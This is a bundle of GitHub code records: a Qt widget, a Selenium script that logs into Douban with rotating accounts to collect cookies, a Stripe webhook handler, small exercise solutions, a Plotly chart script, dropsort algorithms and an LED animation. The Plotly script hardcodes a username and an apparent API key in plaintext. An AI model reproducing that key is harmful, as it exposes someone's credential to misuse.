_part_QXWidget):\n def __init__(self, text = None,\n color = None,\n image : QXImage = None,\n movie = None,\n word_wrap = False, scaled_contents = False,\n **kwargs):\n super().__init__()\n _part_QXWidget.__init__(self, **kwargs)\n\n if text is not None:\n self.setText(text)\n if movie is not None:\n self.setMovie(movie)\n if image is not None:\n self.setPixmap(image.as_QXPixmap())\n if word_wrap:\n self.setWordWrap(True)\n\n self.setScaledContents(scaled_contents)\n \n self._default_pal = QPalette( self.palette() )\n self.set_color(color)\n\n def _update_color(self):\n if self._color is not None:\n pal = QPalette(self._default_pal)\n pal.setColor( QPalette.ColorRole.WindowText, self._color )\n self.setPalette(pal)\n else:\n self.setPalette(self._default_pal)\n\n def set_color(self, color : Union[Any,None] ):\n self._color = QColor(color) if color is not None else None\n self._update_color()\n\n def changeEvent(self, ev : QEvent):\n super().changeEvent(ev)\n if ev.type() == QEvent.Type.EnabledChange:\n self._update_color()\n\n def focusInEvent(self, ev : QFocusEvent):\n super().focusInEvent(ev)\n _part_QXWidget.focusInEvent(self, ev)\n\n def resizeEvent(self, ev : QResizeEvent):\n super().resizeEvent(ev)\n _part_QXWidget.resizeEvent(self, ev)\n","repo_name":"iperov/DeepFaceLive","sub_path":"xlib/qt/widgets/QXLabel.py","file_name":"QXLabel.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":18963,"dataset":"github-code","pt":"72"} +{"seq_id":"71859859113","text":"from selenium import webdriver\nimport time\nimport requests\nfrom lxml import etree\nfrom utils.Utils import Utils\nimport constants\nfrom selenium.webdriver.chrome.options import Options\n# from selenium.common.exceptions import TimeoutException\nimport random\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\n\nclass GetCookies:\n def __init__(self):\n self.chrome_options = Options()\n # 设置chrome浏览器无界面模式\n self.chrome_options.add_argument('--headless')\n self.driver = webdriver.Chrome(chrome_options=self.chrome_options)\n # self.driver = webdriver.Chrome()\n self.logined_url = 'https://www.douban.com/people/104118815/'\n self.headers = {\n # 'User-Agent': random.choice(constants.USER_AGENT),\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36',\n 'Host': 'www.douban.com'\n }\n self.index = 0\n self.failindex = []\n self.userNum = constants.UserNum\n # 标识是否第一次访问,如果不是,则需要退出登录\n self.flag = 0\n\n def restart(self):\n print('----------重启webDriver!----------')\n self.driver.quit()\n time.sleep(random.randrange(3,6))\n self.driver = webdriver.Chrome(chrome_options=self.chrome_options)\n self.flag = 0\n\n def login(self, name, password):\n maxTryTimes = 6\n times = 0\n while True:\n try:\n if self.flag:\n wait1 = WebDriverWait(self.driver,10)\n inputs = wait1.until(EC.presence_of_element_located((By.CLASS_NAME,'nav-user-account')))\n self.driver.find_element_by_class_name(\n 'nav-user-account').click()\n self.driver.find_element_by_xpath(\n '//*[@id=\"db-global-nav\"]/div/div[1]/ul/li[2]/div/table/tbody/tr[5]/td/a').click()\n \n else:\n self.driver.get('https://www.douban.com/')\n self.flag = 1\n times = 0\n time.sleep(random.randrange(3,6))\n break\n except Exception:\n print('---------Time Out,Retrying!----------')\n self.restart()\n times += 1\n if times >= maxTryTimes:\n return None\n while True:\n try:\n wait = WebDriverWait(self.driver,10)\n inputs = wait.until(EC.presence_of_element_located((By.TAG_NAME,'iframe')))\n iframe = self.driver.find_element_by_tag_name(\"iframe\")\n self.driver.switch_to_frame(iframe)\n self.driver.find_element_by_class_name('account-tab-account').click()\n self.driver.find_element_by_id('username').send_keys(name)\n self.driver.find_element_by_id('password').send_keys(password)\n self.driver.find_element_by_class_name('btn-account').click()\n break\n except Exception:\n print('----------无法定位到用户名输入框---------')\n times += 1\n if times >= maxTryTimes:\n return None\n time.sleep(random.randrange(3,6))\n # return self.login(name, password)\n time.sleep(random.randrange(5,8))\n try:\n cookies_list = self.driver.get_cookies()\n cookies = {i[\"name\"]: i[\"value\"] for i in cookies_list}\n except Exception:\n print('-----------登录成功,但是获取Cookie失败----------')\n return None\n flag = self.detection(cookies)\n if flag == 0:\n print('获取session成功')\n return cookies\n else:\n print('获取session失败')\n return None\n\n # 检测session是否失效,返回0没失效,1失效\n def detection(self, cookies):\n r = requests.get(self.logined_url,\n headers=self.headers, cookies=cookies)\n Utils.delay(constants.DELAY_MIN_SECOND, constants.DELAY_MAX_SECOND)\n if r.status_code == 200:\n r.encoding = 'utf-8'\n html = etree.HTML(r.text)\n name = html.xpath(\n '//*[@id=\"profile\"]/div/div[2]/div[1]/div/div/text()[1]')\n if not name:\n return 1\n else:\n print(name)\n return 0\n else:\n return 1\n\n def getCookie(self):\n cookies = self.login(\n name=constants.UserInfo[self.index][0], password=constants.UserInfo[self.index][1])\n if not cookies:\n self.failindex.append(self.index)\n while True:\n self.index = (self.index + 1) % self.userNum\n if self.index not in self.failindex:\n break\n if len(self.failindex) == self.userNum:\n return None\n return self.getCookie()\n\n else:\n self.index = (self.index + 1) % self.userNum\n return cookies\n\n def closeChrome(self):\n # 关闭chreomedriver进程\n self.driver.quit()\n","repo_name":"Bennettsong/douban_spider","sub_path":"utils/GetCookies.py","file_name":"GetCookies.py","file_ext":"py","file_size_in_byte":5378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16240021492","text":"\n\nclass Solution:\n # @param A : tuple of integers\n # @param B : integer\n # @return a list of integers\n def solve(self, A, B):\n res =[]\n for i in range(0,len(A)):\n res.append(A[i] + B)\n return res","repo_name":"aman-bcalm/Scaler-Problems","sub_path":"Day 6/CopyArray.py","file_name":"CopyArray.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2110879791","text":"# This code has been taken directly from the stripe\n# documentation and then modified by watching the\n# stripe video section within the django mini project\n# https://stripe.com/docs/webhooks/build\n\n# This is for the secret keys in the settings\nfrom django.conf import settings\n# This is for the exception handlers for them to work\nfrom django.http import HttpResponse\n\n# These two are for requiring the post method and\n# rejecting get requests and CSRF token exempt because\n# stripe wont send one like normal\nfrom django.views.decorators.http import require_POST\nfrom django.views.decorators.csrf import csrf_exempt\n\n# This is for the webhook handler class\nfrom checkout.webhook_handler import StripeWH_Handler\n\nimport stripe\n\n\n@require_POST\n@csrf_exempt\ndef webhook(request):\n \"\"\"Listen for webhooks from Stripe\"\"\"\n # Setting up the stripe webhook, secret key\n wh_secret = settings.STRIPE_WH_SECRET\n stripe.api_key = settings.STRIPE_SECRET_KEY\n\n # Get the webhook data and verify its signature\n payload = request.body\n sig_header = request.META['HTTP_STRIPE_SIGNATURE']\n event = None\n\n try:\n event = stripe.Webhook.construct_event(\n payload, sig_header, wh_secret\n )\n except ValueError as e:\n # Invalid payload\n return HttpResponse(status=400)\n except stripe.error.SignatureVerificationError as e:\n # Invalid signature\n return HttpResponse(status=400)\n except Exception as e:\n return HttpResponse(content=e, status=400)\n\n # Set up a webhook handler\n handler = StripeWH_Handler(request)\n\n # Map webhook events to relevant handler functions\n event_map = {\n 'payment_intent.succeeded': handler.handle_payment_intent_succeeded,\n 'payment_intent.payment_failed':\n handler.handle_payment_intent_payment_failed,\n }\n\n # Get the webhook type from Stripe\n event_type = event['type']\n\n # If there's a handler for it, get it from the event map\n # Use the generic one by default\n event_handler = event_map.get(event_type, handler.handle_event)\n\n # Call the event handler with the event\n response = event_handler(event)\n return response\n","repo_name":"ifti-khan/urgym","sub_path":"checkout/webhooks.py","file_name":"webhooks.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16625732521","text":"# UI Colors\nBACKGROUND_COLOR = \"#666666\"\nBLACK = \"#000000\"\nGRAY = \"#CCCCCC\"\nWHITE = \"#FFFFFF\"\n\n# Block Colors\nEARTH_COLOR = \"#7F412E\"\nEARTH_COLOR_DARK = \"#663425\"\nSAND_COLOR = \"#FFBA3C\"\nSAND_COLOR_DARK = \"#E99F00\"\nSTONE_COLOR = \"#868C8F\"\nSTONE_COLOR_DARK = \"#6B7073\"\nWATER_COLOR = \"#0000B4\"\nWATER_COLOR_DARK = \"#000068\"\n","repo_name":"RichardSouzza/PySandBox","sub_path":"pysandbox/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34631193716","text":"n = int(input())\r\nw = list(input().split())\r\nw[-1] = w[-1].replace(\".\", \"\")\r\n\r\nans_lst = [\"TAKAHASHIKUN\", \"Takahashikun\", \"takahashikun\"]\r\n\r\ncnt = 0\r\nfor i in range(n):\r\n if w[i] in ans_lst:\r\n cnt += 1\r\n\r\nprint(cnt)","repo_name":"YamasouA/Atcoder","sub_path":"ARC005-A.py","file_name":"ARC005-A.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24754355692","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 22 09:00:02 2020\n\n@author: fly_s\n\nhard_02_add-two-numbers\n\nYou are given two non-empty linked lists representing two non-negative integers.\n The digits are stored in reverse order and each of their nodes contain a single digit.\n Add the two numbers and return it as a linked list.\n\nYou may assume the two numbers do not contain any leading zero, except the number 0 itself.\n\nExample\n\nInput: (2 -> 4 -> 4) + (5 -> 6 -> 4)\nOutput: 7 -> 0 -> 8\nExplanation: 442 + 465 = 907.\n\"\"\"\n\n\nclass ListNode(object):\n def __init__(self,x):\n self.val = x\n self.next = None\n\n\nclass solution(object):\n def addTwoNumbers(self, l1, l2):\n carry = 0\n # dummy head\n head = curr = ListNode(0)\n while l1 or l2:\n val = carry\n if l1:\n val += l1.val\n l1 = l1.next\n if l2:\n val += l2.val\n l2 = l2.next\n curr.next = ListNode(val % 10)\n curr = curr.next\n carry = val // 10\n if carry > 0:\n curr.next = ListNode(carry)\n return head.next\n \n\n\n\n\nif __name__ == \"__main__\":\n \n s = solution()\n \n \n node1 = ListNode(2)\n node2 = ListNode(4)\n node3 = ListNode(4)\n \n node4 = ListNode(5)\n node5 = ListNode(6)\n node6 = ListNode(4)\n \n \n node1.next = node2\n node2.next = node3\n \n node4.next = node5\n node5.next = node6\n \n node = node1\n \n head = s.addTwoNumbers(node1,node4)\n \n while(head):\n print(head.val)\n head = head.next\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n''' \nclass solution(object):\n def addTwoNumbers(self, l1, l2):\n head = ListNode(0)\n # curr is the dummy linked list\n curr = head\n carry = 0\n \n while l1 or l2:\n x = l1.val if l1 else 0\n y = l2.val if l2 else 0\n \n sum_node = x + y + carry\n carry = sum_node // 10\n curr.next = ListNode(sum_node % 10)\n # pointer move to the next node\n curr = curr.next\n \n \n if l1:\n l1 = l1.next\n if l2:\n l2 = l2.next\n # finally there need to carry\n if (carry > 0):\n curr.next = ListNode(1)\n return head.next \n \n''' \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"flysaint/Autumn_battle","sub_path":"Code/my_leetcode/problems/hard_02_add-two-numbers.py","file_name":"hard_02_add-two-numbers.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"40444283624","text":"# 9.py -- Palindrome Number\n\n'''\nDescription:\nDetermine whether an integer is a palindrome. \nAn integer is a palindrome when it reads the same backward as forward.\n\nExample 1:\nInput: 121\nOutput: true\nExample 2:\n\nInput: -121\nOutput: false\nExplanation: From left to right, it reads -121. From right to left, it becomes 121-. \nTherefore it is not a palindrome.\n\nExample 3:\nInput: 10\nOutput: false\nExplanation: Reads 01 from right to left. Therefore it is not a palindrome.\n\nFollow up:\nCoud you solve it without converting the integer to a string?\n'''\ndef isPalindrome(x):\n '''Trick'''\n '''\n return str(x) == str(x)[::-1]\n '''\n\n '''math'''\n if x == 0:\n return True\n if x < 0 or x % 10 == 0:\n return False\n y, cp = 0, x\n while x >= 10:\n frac = x % 10\n x = (x - frac) / 10\n y = (y + frac) * 10\n\n return y+x == cp\n\nisPalindrome(1001)","repo_name":"Veraph/LeetCode_Practice","sub_path":"cyc/string/9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26437499360","text":"import logging\nfrom typing import List, Optional\nfrom datetime import datetime\nfrom bson import ObjectId\nfrom fastapi import HTTPException\nfrom db.mongo.collections import APP_INFO\nfrom db.mongo.mongo_base import MongoBase\nfrom ..models.app_info import (\n InfoModel\n)\n\nclass AppInfoCollection:\n def __init__(self):\n self.collection = MongoBase()\n self.collection(APP_INFO)\n\n\n async def update_info(\n self,\n info_title: str,\n info_value: str\n ) -> any:\n try:\n finder = {\"title\": info_title}\n updater = {\n \"$set\": {\n \"value\": info_value,\n \"is_updated\": True,\n \"updated_on\": datetime.now()\n }\n }\n\n return await self.collection.find_one_and_modify(\n find=finder,\n update=updater,\n return_doc_id=True,\n extended_class_model=InfoModel,\n insert_if_not_found=True,\n return_updated_document=True,\n )\n except Exception:\n raise HTTPException(status_code=500, detail=\"Something went wrong\")\n\n\n async def get_app_info(\n self,\n info_title: str\n ) -> any:\n try:\n filter_condition = {\"title\": info_title}\n data = await self.collection.find_one(\n finder=filter_condition,\n return_doc_id=True,\n extended_class_model=InfoModel\n )\n return data if data else None\n except Exception:\n raise HTTPException(status_code=500, detail=\"Something went wrong\")","repo_name":"shashank-yadav/demopoly_sui","sub_path":"backend/src/master/crud/app_info.py","file_name":"app_info.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25456321952","text":"\"\"\"\r\nColecciones: Se piden dos números, uno menor que 10 y otro \r\nmayor que 100. El primer número representa el número de \r\nintervalos y hay que calcular los rangos de los intervalos según \r\n el segundo número. Por ejemplo: n1 = 4, n2 = 100. Los rangos \r\n serían de 0..24, 25..49, 50..74, 75..99.Después se generan números al azar \r\n que no sobrepasen el número n2 y se almacenan en cada intervalo. \r\n Luego listar los intervalos con los números que se han recogido.\r\n Hay que clasificar los números en el intervalo adecuado.\r\n\"\"\"\r\n\r\nfrom random import randint\r\n\r\nn1=4\r\nn2=100\r\naleatorio = [randint(0,n2-1) for _ in range(30)]\r\nprint(aleatorio[:5]) # slicing: L[ini:fin-1:salto]\r\n\r\n# Generar los intervalos:\r\nsalto = n2//n1\r\ntuplas = [(i,i+salto-1) for i in range(0,100, salto)]\r\nprint(tuplas)\r\n\r\nd = dict()\r\n# Repartir los números aleatorios en cada intervalo:\r\nfor t in tuplas:\r\n d[t] = list() # Clave: tupla, valor: lista vacía\r\nprint(d)\r\n\r\nfor num in aleatorio:\r\n for t, L in d.items():\r\n ini, fin = t # Expansión de tuplas\r\n if ini <= num <= fin:\r\n d[t].append(num)\r\n break\r\n\r\nfor t, L in d.items():\r\n print(t)\r\n print(L)\r\n print()\r\n\r\n\r\n\r\n","repo_name":"aldebarran22/curso_santander_avanzado","sub_path":"codigo_ene_23/colecciones.py","file_name":"colecciones.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74761342633","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 9 18:28:22 2018\n\n@author: zhoumengzhi\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 30 14:41:57 2018\n\n@author: zhoumengzhi\n\"\"\"\n\nimport plotly.plotly as py\nfrom plotly.graph_objs import *\nimport pandas as pd\nimport plotly \nimport matplotlib.pyplot as plt\nimport plotly.graph_objs as go\nimport numpy as np\nimport seaborn as sns\n\n##Set credentials with username and KEY\nplotly.tools.set_credentials_file(username='zhoumalcolm12',api_key='K3Qct6JLc22CUsKoomvS')\n\n\n#data clean\ndf = pd.read_csv('cleandata.csv', encoding = \"ISO-8859-1\")\ndf.drop(['t_diff','cloud_altitude','temp','dewpoint','visibility','wind_speed','gust_speed'], axis = 1, inplace = True, errors = 'ignore')\ndf.clean = df.dropna()\ndf.clean = df.clean[df.clean.airline != 'unkown']\n\n#create a new column: dalay\ndef label_delay_arr (row):\n if row['arr_delay_min'] > 0 :\n return 1\n return '0'\n\ndef label_delay_dep (row):\n if row['dep_delay_min'] > 10 :\n return 1\n return '0'\n\ndf.clean['delay_arr'] = df.clean.apply (lambda row: label_delay_arr (row),axis=1)\ndf.clean['delay_dep'] = df.clean.apply (lambda row: label_delay_dep (row),axis=1)\n#####################################################\n#2nd graph\n#histogram\nx = df.clean.airline\ny = df.clean.delay_dep\nz = df.clean.delay_arr\n\ndata = [\n go.Histogram(\n histfunc = \"count\",\n y = y,\n x = x,\n name = \"Total Number of Flight\"\n ),\n go.Histogram(\n histfunc = \"sum\",\n y = y,\n x = x,\n name = \"Number of Depature Delayed Flight\"\n ),\n go.Histogram(\n histfunc = \"sum\",\n y = z,\n x = x,\n name = \"Number of Arrival Delayed Flight\"\n )\n]\n\nlayout = go.Layout(\n title='Histogram for depature flights',\n xaxis=dict(\n title='Airline Company'\n ),\n yaxis=dict(\n title='Count'\n ),\n bargap=0.2,\n bargroupgap=0.1\n)\nfig1 = go.Figure(data=data, layout=layout)\nfig1['layout'].update(title = \"some title\")\npy.plot(data, filename='hist_depature')\nplotly.offline.plot(data, filename = 'hist.html')","repo_name":"zhoumalcolm12/ANLY501Project","sub_path":"Part3/hist.py","file_name":"hist.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43128898244","text":"\"\"\"Dropsort implementations.\n\nLinear-time \"sorting\" algorithms that work by eliminating elements which appear\nout of order.\"\"\"\n\nimport util\n\nfrom collections import deque\nfrom heapq import merge\n\ndef _keyify(ls, key):\n return [(key(v), v) for v in ls]\n\ndef _unkeyify(key_ls):\n return [e[1] for e in key_ls]\n\ndef _curry(f, n): # move to util?\n def curried(ls, key=lambda k: k):\n return f(ls, n, key)\n curried.__name__ = '%s:n=%d' % (f.__name__, n)\n return curried\n\ndef dropsort(ls, key=lambda k: k):\n \"\"\"The original algorithm, per\n http://www.dangermouse.net/esoteric/dropsort.html\"\"\"\n if len(ls) <= 1:\n return ls[:]\n key_ls = _keyify(ls, key)\n result = key_ls[:1]\n for i in range(1, len(key_ls)):\n if result[-1] <= key_ls[i]:\n result.append(key_ls[i])\n return _unkeyify(result)\n\ndef drop_merge_sort(ls, key=lambda k: k):\n \"\"\"Standard (lossless) sorting algorithm that uses dropsort internally.\n Described on DangerMouse's site.\"\"\"\n if len(ls) <= 1:\n return ls[:]\n if len(ls) == 2:\n return ls if key(ls[0]) < key(ls[1]) else ls[::-1]\n\n return _unkeyify(_raw_drop_merge_sort(_keyify(ls, key)))\n\ndef _raw_drop_merge_sort(key_ls):\n ordered = key_ls[:1]\n unordered = []\n for i in range(1, len(key_ls)):\n if ordered[-1] <= key_ls[i]:\n ordered.append(key_ls[i])\n else:\n unordered.append(key_ls[i])\n return list(merge(ordered, drop_merge_sort(unordered[::-1])))\n\ndef dropsort_between(ls, key=lambda k: k):\n \"\"\"Double Comparison improvement. Based on\n https://bitbucket.org/dimo414/dropsort/src/pristine/Research/DropsortTest/Dropsort.cs#Dropsort.cs-98\n\n Essentially this only adds an element if it's between its siblings\n (l <= e <= r), rather than dropsort which only considers the previous\n element (l <= e). This avoids selecting an element which is out of place\n (assuming its siblings are roughly in-place).\n \"\"\"\n if len(ls) <= 1:\n return ls[:]\n\n key_ls = _keyify(ls, key)\n result = key_ls[:1]\n for i in range(1, len(key_ls)):\n if result[-1] <= key_ls[i] and (i+1 == len(key_ls) or key_ls[i] <= key_ls[i+1]):\n result.append(key_ls[i])\n return _unkeyify(result)\n\ndef dropsort_consecutive(ls, n=3, key=lambda k: k):\n \"\"\"Recent Memory improvement. Based on\n https://bitbucket.org/dimo414/dropsort/src/pristine/Research/DropsortTest/Dropsort.cs#Dropsort.cs-120\n\n Avoids dropping more than n elements in a row by counting how many\n consecutive elements have been dropped, and revoking the last-added element\n (and adding the n-th element in its place instead) if it reaches the\n threshold.\n \"\"\"\n if len(ls) <= 1:\n return ls[:]\n\n key_ls = _keyify(ls, key)\n result = key_ls[:1]\n consecutive_drops = 0\n for i in range(1, len(key_ls)):\n if key(result[-1]) <= key(key_ls[i]):\n result.append(key_ls[i])\n consecutive_drops = 0 # paper's implementation didn't have this line\n else:\n consecutive_drops += 1\n # paper's implementation also requires len(result) > 1\n # need to also confirm the prior element is also less than the value to\n # be added - otherwise the result will not be sorted\n if consecutive_drops >= n and (len(result) < 2 or result[-2] <= key_ls[i]):\n result[-1] = key_ls[i] # overwrite\n consecutive_drops = 0\n return _unkeyify(result)\n\ndef dropsort_between_consecutive(ls, n=3, key=lambda k: k):\n \"\"\"Double Comparison + Recent Memory improvement. Based on\n https://bitbucket.org/dimo414/dropsort/src/pristine/Research/DropsortTest/Dropsort.cs#Dropsort.cs-153\n\n Applies both prior optimizations.\n \"\"\"\n if len(ls) <= 1:\n return ls[:]\n\n key_ls = _keyify(ls, key)\n result = key_ls[:1]\n consecutive_drops = 0\n for i in range(1, len(key_ls)):\n if result[-1] <= key_ls[i] and (i+1 == len(key_ls) or key_ls[i] <= key_ls[i+1]):\n result.append(key_ls[i])\n consecutive_drops = 0\n else:\n consecutive_drops += 1\n if consecutive_drops >= n and (len(result) < 2 or result[-2] <= key_ls[i]):\n result[-1] = key_ls[i]\n consecutive_drops = 0\n return _unkeyify(result)\n\ndef dropsort_minmax(ls, key=lambda k: k):\n \"\"\"Precomputes the min/max values and uses that as a heuristic to determine\n which element to remove.\n\n Note this computes the distance between elements, so the key function must\n return an arithmetic type (+-*/, can be cast to an int).\n \"\"\"\n if len(ls) <= 1:\n return ls[:]\n\n key_ls = _keyify(ls, key)\n low = min(key_ls)\n high = max(key_ls)\n result = key_ls[:1]\n for i in range(1, len(key_ls)):\n if result[-1] <= key_ls[i]:\n result.append(key_ls[i])\n else:\n expected = int(low[0] + i/len(key_ls) * (high[0]-low[0]))\n left = result[-1]\n right = key_ls[i]\n # if left is \"more\" out-of-place than right\n if abs(left[0] - expected) > abs(right[0] - expected):\n if len(result) < 2 or result[-2] <= key_ls[i]:\n result[-1] = key_ls[i]\n return _unkeyify(result)\n\n\ndef dropsort_window(ls, window_size=10, key=lambda k: k):\n \"\"\"Uses a fixed-size moving buffer to improve retention.\n\n For each element in the input it is added to the end of the buffer. Then the\n head of the buffer is considered for addition to the result list. If it's a\n valid addition (greater-than or equal-to the previously accepted result) the\n window is traversed once to determine whether adding the element would\n cause more elements in the window to be excluded.\n\n This means the runtime of this function is technically O(n*k), however the\n window size can be treated as a constant, making it effectively linear.\n \"\"\"\n if len(ls) <= 1:\n return ls[:]\n\n key_ls = _keyify(ls, key)\n result = []\n window = deque()\n\n def should_accept(value):\n accept, reject = 1, 0\n accept_max, reject_max = value, result[-1] if result else None\n for e in window:\n if e >= accept_max:\n accept += 1\n accept_max = e\n if not reject_max or e >= reject_max:\n reject += 1\n reject_max = e\n return accept >= reject\n\n def decide():\n value = window.popleft()\n if ((not result or result[-1] <= value) and\n should_accept(value)):\n result.append(value)\n\n for e in key_ls:\n window.append(e)\n # always ensure the buffer is full\n if len(window) < window_size:\n continue\n\n decide()\n\n # drain the window\n while window:\n decide()\n return _unkeyify(result)\n\nDROPSORTS = (\n dropsort,\n dropsort_between,\n _curry(dropsort_consecutive, 10), # TODO pick ideal n\n _curry(dropsort_between_consecutive, 10), # TODO pick ideal n\n dropsort_minmax,\n _curry(dropsort_window, 10), # TODO pick ideal n\n)\n\nPARAMETERIZED_DROPSORTS = (\n dropsort_consecutive,\n dropsort_between_consecutive,\n dropsort_window\n)\n\n# basic verify\nif __name__ == '__main__':\n for f in (dropsort, drop_merge_sort, dropsort_between, dropsort_consecutive,\n dropsort_between_consecutive, dropsort_minmax, dropsort_window):\n util.verify(f)\n","repo_name":"dimo414/dropsort","sub_path":"dropsort.py","file_name":"dropsort.py","file_ext":"py","file_size_in_byte":6911,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"9467405889","text":"import adafruit_dotstar # Our LED library\r\nimport digitalio\r\nimport board\r\n# import math\r\nimport time\r\n\r\nprint(\"LumiDrive v10\")\r\n\r\n# Setting up the product's blue stat LED to blink\r\nled = digitalio.DigitalInOut(board.D13)\r\nled.direction = digitalio.Direction.OUTPUT\r\n\r\n# Setting up the board's onboard button\r\nbutton6 = digitalio.DigitalInOut(board.D6)\r\nbutton6.direction = digitalio.Direction.INPUT\r\nbutton6.pull = digitalio.Pull.UP\r\n\r\n# These two variables should be adjusted to reflect the number of LEDs you have\r\n# and how bright you want them.\r\nnum_pixels = 44\r\nbrightness = 0.8\r\n\r\ntick_move_dur = 0.04\r\ntick_flicker_dur = 0.01\r\n\r\n# This creates the instance of the DoTStar library.\r\npixels = adafruit_dotstar.DotStar(\r\n board.SCK, board.MOSI, num_pixels, brightness=brightness, auto_write=False\r\n)\r\n\r\n# Some standard colors.\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\n# CYAN = (0, 255, 255)\r\n# BLUE = (0, 0, 255)\r\n# PURPLE = (180, 0, 255)\r\n# MAGENTA = (255, 0, 20)\r\n\r\nmaria = (255, 153, 245)\r\njeff = (106, 157, 255)\r\npenny = (186, 163, 119)\r\nruby = (234, 112, 112)\r\njack = (98, 193, 188)\r\n\r\n# Animation setup\r\nmax_tick = 9999\r\nfire = 8\r\ntv = [29, 34]\r\ntv_colors = [(129, 233, 226, 0.1), (240, 243, 90, 0.1)]\r\n# starting in bedroom 1\r\nbr1_2_to_br1_1 = [1, 0]\r\nbr1_1_to_c2 = [0, 3, 2, 13]\r\nbr1_1_to_bath = [0, 3, 4, 11, 16, 15, 14]\r\nbr1_1_to_lr1 = [0, 3, 4, 5, 6]\r\nbr1_4_to_bath = [2, 3, 4, 11, 16, 15, 14]\r\nbr1_4_to_lr2 = [2, 3, 4, 5, 10, 9]\r\nbr1_1_to_k1 = [0, 3, 4, 5, 10, 18, 21, 30, 33, 39, 40, 41]\r\nbr1_4_to_k1 = [2, 3, 4, 11, 16, 23, 28, 35, 38, 39, 40, 41]\r\nbr1_4_to_dr2 = [2, 3, 4, 5, 10, 18, 21, 30]\r\nb1_4_to_door2 = [2, 3, 4, 11, 16, 23, 28, 35, 38]\r\n\r\n# starting in kitchen\r\nk1_loop = [40, 41, 42, 41]\r\n# k1_dr_loop = [40, 41, 42, 41, 40, 39, 33, 32, 33, 39]\r\nlr2_to_k4 = [9, 18, 21, 30, 33, 39, 40, 41]\r\nk4_to_d1 = [41, 40, 39, 38, 35, 28]\r\nk4_to_d4 = [41, 40, 39, 33]\r\nk4_to_laundry = [41, 40, 39, 38, 43]\r\nk4_to_door2 = [41, 40, 39, 38]\r\nk4_to_d2 = [41, 40, 39, 38, 35]\r\n\r\n# starting in dining room\r\ndr2_to_dr4 = [30, 33]\r\ndr4_to_door2 = [33, 39, 38]\r\n\r\n# starting in den\r\nd2_to_bath = [35, 28, 23, 15, 14]\r\n\r\n# starting in LR\r\nlr1_to_b2_3 = [6, 5, 4, 11, 16, 24, 27, 36]\r\n\r\n# This function takes a color and a dely and fills the entire strand with that color.\r\n# The delay is given in the case you use multiple color fills in a row.\r\n\r\n\r\ndef color_fill(color, wait):\r\n pixels.fill(color)\r\n pixels.show()\r\n time.sleep(wait)\r\n\r\n\r\ndef travel_single(color, wait):\r\n num_pixels = len(pixels)\r\n for pos in range(num_pixels):\r\n pixels[pos] = color\r\n pixels[pos - 1] = BLACK\r\n pixels.show()\r\n time.sleep(wait)\r\n\r\n\r\ndef flicker(pos, colors):\r\n if tick_flicker % 2 < 1:\r\n pixels[pos] = colors[0]\r\n else:\r\n pixels[pos] = colors[1]\r\n\r\n\r\ndef blink_board_light():\r\n led.value = tick_flicker % 20 < 5\r\n\r\n\r\ndef fireplace(start=0, end=max_tick):\r\n if tick_move == start and tick_flicker == 0:\r\n print(\"fireplace\", start, end)\r\n if start <= tick_move < end:\r\n flickering = tick_move < end - 1\r\n pos = fire\r\n if flickering:\r\n flicker(pos, [(246, 195, 64, 0.4), (214, 134, 14, 0.4)])\r\n else:\r\n pixels[pos] = BLACK\r\n\r\n\r\ndef tv_on(start=0, end=max_tick):\r\n if tick_move == start and tick_flicker == 0:\r\n print(\"tv\", start, end)\r\n if start <= tick_move < end:\r\n flickering = tick_move < end - 1\r\n if flickering:\r\n flicker(tv[0], tv_colors)\r\n flicker(tv[1], list(reversed(tv_colors)))\r\n else:\r\n pixels[tv[0]] = BLACK\r\n pixels[tv[1]] = BLACK\r\n\r\n\r\ndef rest(start, color, path, reverse=False):\r\n if tick_move == start:\r\n print(\"rest\", color, start, path, reverse)\r\n pos = tick_move - start\r\n if reverse:\r\n pos = (len(path) - pos) - 1\r\n # print(pos, old_pos, len(path))\r\n pixels[path[pos]] = color\r\n\r\n\r\ndef walk(start, color, path, reverse=False):\r\n if tick_move == start:\r\n 